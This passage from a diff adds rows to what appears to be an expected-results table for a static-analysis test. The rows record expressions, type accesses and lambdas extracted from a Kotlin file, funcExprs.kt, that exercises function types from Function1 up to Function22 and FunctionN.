+| funcExprs.kt:9:1:9:74 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:9:25:9:30 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:9:33:9:61 | Double | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:9:33:9:61 | Function1<Integer,Double> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:9:33:9:61 | Function1<Integer,Function1<Integer,Double>> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:9:33:9:61 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:9:33:9:61 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:9:66:9:66 | f | funcExprs.kt:9:1:9:74 | functionExpression4 | VarAccess |
+| funcExprs.kt:9:66:9:69 | invoke(...) | funcExprs.kt:9:1:9:74 | functionExpression4 | MethodAccess |
+| funcExprs.kt:9:66:9:72 | <implicit coercion to unit> | funcExprs.kt:9:1:9:74 | functionExpression4 | ImplicitCoercionToUnitExpr |
+| funcExprs.kt:9:66:9:72 | Unit | funcExprs.kt:9:1:9:74 | functionExpression4 | TypeAccess |
+| funcExprs.kt:9:66:9:72 | invoke(...) | funcExprs.kt:9:1:9:74 | functionExpression4 | MethodAccess |
+| funcExprs.kt:9:68:9:68 | x | funcExprs.kt:9:1:9:74 | functionExpression4 | VarAccess |
+| funcExprs.kt:9:71:9:71 | x | funcExprs.kt:9:1:9:74 | functionExpression4 | VarAccess |
+| funcExprs.kt:11:1:13:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:26:11:31 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Function22<Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Unit> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:11:34:11:154 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:12:5:12:5 | f | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:5:12:50 | invoke(...) | funcExprs.kt:11:1:13:1 | functionExpression22 | MethodAccess |
+| funcExprs.kt:12:7:12:7 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:9:12:9 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:11:12:11 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:13:12:13 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:15:12:15 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:17:12:17 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:19:12:19 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:21:12:21 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:23:12:23 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:25:12:25 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:27:12:27 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:29:12:29 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:31:12:31 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:33:12:33 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:35:12:35 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:37:12:37 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:39:12:39 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:41:12:41 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:43:12:43 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:45:12:45 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:47:12:47 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:12:49:12:49 | x | funcExprs.kt:11:1:13:1 | functionExpression22 | VarAccess |
+| funcExprs.kt:14:1:16:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:26:14:31 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | FunctionN<String> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:14:34:14:161 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:15:5:15:5 | f | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:5:15:52 | 23 | funcExprs.kt:14:1:16:1 | functionExpression23 | IntegerLiteral |
+| funcExprs.kt:15:5:15:52 | <implicit coercion to unit> | funcExprs.kt:14:1:16:1 | functionExpression23 | ImplicitCoercionToUnitExpr |
+| funcExprs.kt:15:5:15:52 | Object | funcExprs.kt:14:1:16:1 | functionExpression23 | TypeAccess |
+| funcExprs.kt:15:5:15:52 | Unit | funcExprs.kt:14:1:16:1 | functionExpression23 | TypeAccess |
+| funcExprs.kt:15:5:15:52 | invoke(...) | funcExprs.kt:14:1:16:1 | functionExpression23 | MethodAccess |
+| funcExprs.kt:15:5:15:52 | new Object[] | funcExprs.kt:14:1:16:1 | functionExpression23 | ArrayCreationExpr |
+| funcExprs.kt:15:5:15:52 | {...} | funcExprs.kt:14:1:16:1 | functionExpression23 | ArrayInit |
+| funcExprs.kt:15:7:15:7 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:9:15:9 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:11:15:11 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:13:15:13 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:15:15:15 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:17:15:17 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:19:15:19 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:21:15:21 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:23:15:23 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:25:15:25 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:27:15:27 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:29:15:29 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:31:15:31 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:33:15:33 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:35:15:35 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:37:15:37 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:39:15:39 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:41:15:41 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:43:15:43 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:45:15:45 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:47:15:47 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:49:15:49 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:15:51:15:51 | x | funcExprs.kt:14:1:16:1 | functionExpression23 | VarAccess |
+| funcExprs.kt:17:1:19:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:27:17:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | FuncRef | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | FunctionN<String> | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:17:35:17:171 | String | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:18:5:18:5 | f | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:5:18:62 | 24 | funcExprs.kt:17:1:19:1 | functionExpression23c | IntegerLiteral |
+| funcExprs.kt:18:5:18:62 | <implicit coercion to unit> | funcExprs.kt:17:1:19:1 | functionExpression23c | ImplicitCoercionToUnitExpr |
+| funcExprs.kt:18:5:18:62 | Object | funcExprs.kt:17:1:19:1 | functionExpression23c | TypeAccess |
+| funcExprs.kt:18:5:18:62 | Unit | funcExprs.kt:17:1:19:1 | functionExpression23c | TypeAccess |
+| funcExprs.kt:18:5:18:62 | invoke(...) | funcExprs.kt:17:1:19:1 | functionExpression23c | MethodAccess |
+| funcExprs.kt:18:5:18:62 | new Object[] | funcExprs.kt:17:1:19:1 | functionExpression23c | ArrayCreationExpr |
+| funcExprs.kt:18:5:18:62 | {...} | funcExprs.kt:17:1:19:1 | functionExpression23c | ArrayInit |
+| funcExprs.kt:18:7:18:15 | FuncRef | funcExprs.kt:17:1:19:1 | functionExpression23c | TypeAccess |
+| funcExprs.kt:18:7:18:15 | new FuncRef(...) | funcExprs.kt:17:1:19:1 | functionExpression23c | ClassInstanceExpr |
+| funcExprs.kt:18:17:18:17 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:19:18:19 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:21:18:21 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:23:18:23 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:25:18:25 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:27:18:27 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:29:18:29 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:31:18:31 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:33:18:33 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:35:18:35 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:37:18:37 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:39:18:39 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:41:18:41 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:43:18:43 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:45:18:45 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:47:18:47 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:49:18:49 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:51:18:51 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:53:18:53 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:55:18:55 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:57:18:57 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:59:18:59 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:18:61:18:61 | x | funcExprs.kt:17:1:19:1 | functionExpression23c | VarAccess |
+| funcExprs.kt:21:1:52:1 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:22:5:22:33 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:22:5:22:33 | functionExpression0a(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:22:26:22:33 | ...->... | funcExprs.kt:21:1:52:1 | call | LambdaExpr |
+| funcExprs.kt:22:26:22:33 | Function0<Integer> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:22:26:22:33 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:22:26:22:33 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:22:31:22:31 | 5 | funcExprs.kt:22:26:22:33 | invoke | IntegerLiteral |
+| funcExprs.kt:23:5:23:33 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:23:5:23:33 | functionExpression0b(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:23:26:23:33 | ...->... | funcExprs.kt:21:1:52:1 | call | LambdaExpr |
+| funcExprs.kt:23:26:23:33 | Function0<Object> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:23:26:23:33 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:23:26:23:33 | Object | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:23:31:23:31 | 5 | funcExprs.kt:23:26:23:33 | invoke | IntegerLiteral |
+| funcExprs.kt:24:5:24:33 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:24:5:24:33 | functionExpression0c(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:24:26:24:33 | ...->... | funcExprs.kt:21:1:52:1 | call | LambdaExpr |
+| funcExprs.kt:24:26:24:33 | Function0<Object> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:24:26:24:33 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:24:26:24:33 | Object | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:24:31:24:31 | 5 | funcExprs.kt:24:26:24:33 | invoke | IntegerLiteral |
+| funcExprs.kt:25:5:25:38 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:25:5:25:38 | functionExpression1a(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:25:26:25:26 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:25:29:25:38 | ...->... | funcExprs.kt:21:1:52:1 | call | LambdaExpr |
+| funcExprs.kt:25:29:25:38 | Function1<Integer,Integer> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:25:29:25:38 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:25:29:25:38 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:25:29:25:38 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:25:31:25:31 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:25:36:25:36 | 5 | funcExprs.kt:25:29:25:38 | invoke | IntegerLiteral |
+| funcExprs.kt:26:5:26:34 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:26:5:26:34 | functionExpression1a(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:26:26:26:26 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:26:29:26:34 | ...->... | funcExprs.kt:21:1:52:1 | call | LambdaExpr |
+| funcExprs.kt:26:29:26:34 | Function1<Integer,Integer> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:26:29:26:34 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:26:29:26:34 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:26:29:26:34 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:26:29:26:34 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:26:31:26:32 | it | funcExprs.kt:26:29:26:34 | invoke | VarAccess |
+| funcExprs.kt:27:5:27:43 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:27:5:27:43 | functionExpression1a(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:27:26:27:26 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:27:29:27:42 | ...->... | funcExprs.kt:21:1:52:1 | call | LambdaExpr |
+| funcExprs.kt:27:29:27:42 | Function1<Integer,Integer> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:27:29:27:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:27:29:27:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:27:29:27:42 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:27:33:27:37 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:27:42:27:42 | 5 | funcExprs.kt:27:29:27:42 | invoke | IntegerLiteral |
+| funcExprs.kt:28:5:28:39 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:28:5:28:39 | functionExpression1a(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:28:26:28:26 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:28:29:28:38 | MyLambda | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:28:29:28:38 | new MyLambda(...) | funcExprs.kt:21:1:52:1 | call | ClassInstanceExpr |
+| funcExprs.kt:29:5:29:37 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:29:5:29:37 | functionExpression1b(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:29:26:29:26 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:29:29:29:37 | ...->... | funcExprs.kt:21:1:52:1 | call | LambdaExpr |
+| funcExprs.kt:29:29:29:37 | Function1<Object,Object> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:29:29:29:37 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:29:29:29:37 | Object | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:29:29:29:37 | Object | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:29:31:29:31 | Object | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:29:36:29:36 | a | funcExprs.kt:29:29:29:37 | invoke | VarAccess |
+| funcExprs.kt:30:5:30:51 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:30:5:30:51 | functionExpression2(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:30:25:30:25 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:30:28:30:50 | ...->... | funcExprs.kt:21:1:52:1 | call | LambdaExpr |
+| funcExprs.kt:30:28:30:50 | Function2<Integer,Integer,Integer> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:30:28:30:50 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:30:28:30:50 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:30:28:30:50 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:30:28:30:50 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:30:32:30:37 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:30:40:30:45 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:30:50:30:50 | 5 | funcExprs.kt:30:28:30:50 | invoke | IntegerLiteral |
+| funcExprs.kt:31:5:31:40 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:31:5:31:40 | functionExpression2(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:31:25:31:25 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:31:28:31:40 | ...->... | funcExprs.kt:21:1:52:1 | call | LambdaExpr |
+| funcExprs.kt:31:28:31:40 | Function2<Integer,Integer,Integer> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:31:28:31:40 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:31:28:31:40 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:31:28:31:40 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:31:28:31:40 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:31:30:31:30 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:31:33:31:33 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:31:38:31:38 | 5 | funcExprs.kt:31:28:31:40 | invoke | IntegerLiteral |
+| funcExprs.kt:32:5:32:44 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:32:5:32:44 | functionExpression3(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:32:25:32:25 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:32:28:32:44 | ...->... | funcExprs.kt:21:1:52:1 | call | LambdaExpr |
+| funcExprs.kt:32:28:32:44 | Function2<Integer,Integer,Integer> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:32:28:32:44 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
